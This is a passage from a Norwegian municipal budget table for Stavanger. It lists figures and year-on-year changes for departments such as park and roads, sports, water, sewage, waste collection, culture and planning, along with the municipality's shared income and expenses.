-8 735 -7 735 12,9 % 17 Refusjoner -8 475 -8 517 -0,5 % 18 Overføringer -2 600 -2 600 19 Finansinntekter/finanstransaksjoner -33 471 -33 471 Sum inntekter -53 281 -52 323 1,8 % Nettosum Park og vei 138 202 147 260 -6,2 % Funksjon 190 - Park og vei 10 Lønn 16 410 16 410 11 Forbruk 202 202 12 Drift 108 108 14 Overføringer 55 55 Sum utgifter 16 775 16 775 16 Salgsinntekter -16 528 -16 528 17 Refusjoner -247 -205 20,5 % Sum inntekter -16 775 -16 733 0,3 % Nettosum Park og vei 0 42 -10 Idrett 10 Lønn 4 119 4 269 -3,5 % 11 Forbruk 66 237 55 637 19,1 % 12 Drift 2 817 2 817 13 Kjøp av tjenester 32 758 35 458 -7,6 % 14 Overføringer 27 143 27 943 -2,9 % 15 Finansutgifter/finanstransaksjoner 7 982 7 982 Sum utgifter 141 056 134 106 5,2 % 16 Salgsinntekter -14 568 -13 218 10,2 % 17 Refusjoner -2 451 -2 451 19 Finansinntekter/finanstransaksjoner -7 982 -7 982 Sum inntekter -25 001 -23 651 5,7 % Nettosum Idrett 116 055 110 455 5,1 % Vannverket 10 Lønn 16 715 16 365 2,1 % 11 Forbruk 8 985 6 078 47,8 % 12 Drift 8 400 8 400 13 Kjøp av tjenester 43 530 40 264 8,1 % 14 Overføringer 300 300 15 Finansutgifter/finanstransaksjoner 31 663 28 790 1 Sum utgifter 109 593 100 197 9,4 % 16 Salgsinntekter -99 330 -94 600 5,0 % 19 Finansinntekter/finanstransaksjoner -10 263 -5 597 83,4 % Sum inntekter -109 593 -100 197 9,4 % Nettosum Vannverket 0 0 Avløpsverket 10 Lønn 17 035 16 685 2,1 % 11 Forbruk 11 752 7 625 54,1 % 12 Drift 10 351 10 351 13 Kjøp av tjenester 81 832 78 689 4,0 % 14 Overføringer 850 850 15 Finansutgifter/finanstransaksjoner 64 402 59 645 8,0 % Sum utgifter 186 222 173 845 7,1 % 16 Salgsinntekter -195 841 -182 978 7,0 % 17 Refusjoner -62 -62 Sum inntekter -195 903 -183 040 7,0 % Nettosum Avløpsverket -9 681 -9 195 5,3 % Renovasjon 10 Lønn 5 651 5 651 11 Forbruk 13 814 12 791 8,0 % 12 Drift 10 298 10 298 13 Kjøp av tjenester 104 850 100 535 4,3 % 14 Overføringer 490 490 15 Finansutgifter/finanstransaksjoner 4 815 4 698 2,5 % Sum utgifter 139 918 134 463 4,1 % 16 Salgsinntekter -132 957 -129 385 2,8 % 17 Refusjoner -3 828 -3 828 19 Finansinntekter/finanstransaksjoner -2 993 -1 110 169,6 % Sum inntekter -139 778 -134 323 4,1 % Nettosum Renovasjon 140 140 Nettosum Bymiljø og utbygging -37 518 -17 282 117,1 % Stab Kultur og byutvikling 10 Lønn 4 851 4 851 11 Forbruk 14 923 14 923 12 Drift 2 067 2 067 14 Overføringer 1 075 1 075 15 Finansutgifter/finanstransaksjoner 402 402 Sum utgifter 23 318 23 318 16 Salgsinntekter -2 921 -2 921 17 Refusjoner -2 075 -2 075 19 Finansinntekter/finanstransaksjoner -402 -402 Sum inntekter -5 398 -5 398 Nettosum Stab Kultur og byutvikling 17 920 17 920 Byggesaksavdelingen 10 Lønn 16 069 16 069 11 Forbruk 6 978 6 978 14 Overføringer 83 83 Sum utgifter 23 130 23 130 16 Salgsinntekter -20 647 -20 647 17 Refusjoner -83 -83 19 Finansinntekter/finanstransaksjoner -2 400 -2 400 Sum inntekter -23 130 -23 130 Nettosum Byggesaksavdelingen 0 0 Planavdelinger 10 Lønn 42 993 42 993 11 Forbruk 1 700 1 200 41,7 % 12 Drift -1 070 1 030 -203,9 % 14 Overføringer 808 808 15 Finansutgifter/finanstransaksjoner 1 100 1 100 Sum utgifter 45 531 47 131 -3,4 % 16 Salgsinntekter -15 426 -15 426 17 Refusjoner -883 -883 18 Overføringer -500 -500 19 Finansinntekter/finanstransaksjoner -1 100 -1 100 Sum inntekter -17 909 -17 909 Nettosum Planavdelinger 27 622 29 222 -5,5 % Kulturavdelingen 10 Lønn 3 932 4 532 -13,2 % 11 Forbruk 371 371 12 Drift 81 81 14 Overføringer 144 364 140 734 2,6 % 15 Finansutgifter/finanstransaksjoner 787 787 Sum utgifter 149 535 146 505 2,1 % 17 Refusjoner -290 -290 19 Finansinntekter/finanstransaksjoner -787 -787 Sum inntekter -1 077 -1 077 Nettosum Kulturavdelingen 148 458 145 428 2,1 % Nettosum Kultur og byutvikling 194 000 192 570 0,7 % 605100 BV-ALLMENT Sum utgifter 410 410 Nettosum 410 410 605200 FV- ALLMENT Sum inntekter -6 100 -6 100 Nettosum -6 100 -6 100 800000 FOLKEVALGTE Sum utgifter 50 311 48 811 3,1 % Nettosum 50 311 48 811 3,1 % 800010 REVISJON Sum utgifter 5 300 5 200 1,9 % Nettosum 5 300 5 200 1,9 % 800014 HOVEDTILLITSVALGTE Sum utgifter 12 303 10 753 14,4 % Sum inntekter -25 -25 Nettosum 12 278 10 728 14,5 % 800015 FELLESUTGIFTER Sum utgifter 21 360 22 847 -6,5 % Sum inntekter -2 200 -7 870 -72,1 % Nettosum 19 160 14 977 27,9 % 800016 TILSKUDD DIVERSE Sum utgifter 15 891 15 891 Nettosum 15 891 15 891 800017 VALG Sum utgifter 6 000 0 Nettosum 6 000 0 800018 TILFELDIGE UTGIFTER (KUN BUDSJETT) Sum utgifter 34 635 43 098 -19,6 % Sum inntekter -1 353 -1 353 Nettosum 33 282 41 745 -20,3 % 800020 TILSKUDD REGIONALE PROSJEKTER Sum utgifter 222 800 209 890 6,2 % Nettosum 222 800 209 890 6,2 % 800022 ANDR. NÆRINGSFORM. Sum inntekter -2 900 -2 900 Nettosum -2 900 -2 900 800025 LIVSSYNSSAMFUNN Sum utgifter 12 000 10 300 16,5 % Nettosum 12 000 10 300 16,5 % 800028 INNTEKT FRIKRAFT Sum inntekter -15 100 -15 100 Nettosum -15 100 -15 100 800029 DIVERSE TILSK. SAMFERDSEL Sum utgifter 800 800 Nettosum 800 800 800032 STAVANGER FELLESRÅD Sum utgifter 79 970 76 520 4,5 % Nettosum 79 970 76 520 4,5 % 800099 RESERVE TILL.BEVILGN Sum utgifter 497 319 279 839 77,7 % Nettosum 497 319 279 839 77,7 % 800200 SKATT PÅ INNT./FORM. Sum inntekter -4 989 800 -5 147 900 -3,1 % Nettosum -4 989 800 -5 147 900 -3,1 % 800201 EIENDOMSSKATT Sum utgifter 50 000 26 000 92,3 % Sum inntekter -275 000 -160 000 71,9 % Nettosum -225 000 -134 000 67,9 % 800202 RAMMETILSKUDD Sum inntekter -1 606 300 -1 470 991 9,2 % Nettosum -1 606 300 -1 470 991 9,2 % 800204 DIVERSE KOMP.TILSKUDD Sum inntekter -34 950 -35 200 -0,7 % Nettosum -34 950 -35 200 -0,7 % 800205 INTEGRERINGSTILSKUDD Sum inntekter -84 400 -85 800 -1,6 % Nettosum -84 400 -85 800 -1,6 % 800300 RENTER/UTBYTTE OG LÅN Sum utgifter 303 041 267 689 13,2 % Sum inntekter -488 867 -454 960 7,5 % Nettosum -185 826 -187 271 -0,8 % 800302 AVDRAG PÅ INNLÅN/UTLÅN Sum utgifter 323 699 365 199 -11,4 % Nettosum 323 699 365 199 -11,4 % 800403 OVERF. KAP.REGNSK. Sum utgifter 119 420 72 898 63,8 % Nettosum 119 420 72 898 63,8 % 800500 KOMMUNAL OPPREISNINGSORDNING Sum utgifter 3 000 0 Nettosum 3 000 0 Nettosum Felles inntekter og utgifter -5 748 736 -5 932 054 -3,1 % Nettosum Stavanger kommune 0 0
Last ned tabelldata (Excel)
Denne siden ble sist oppdatert 7. October 2018, 12:07.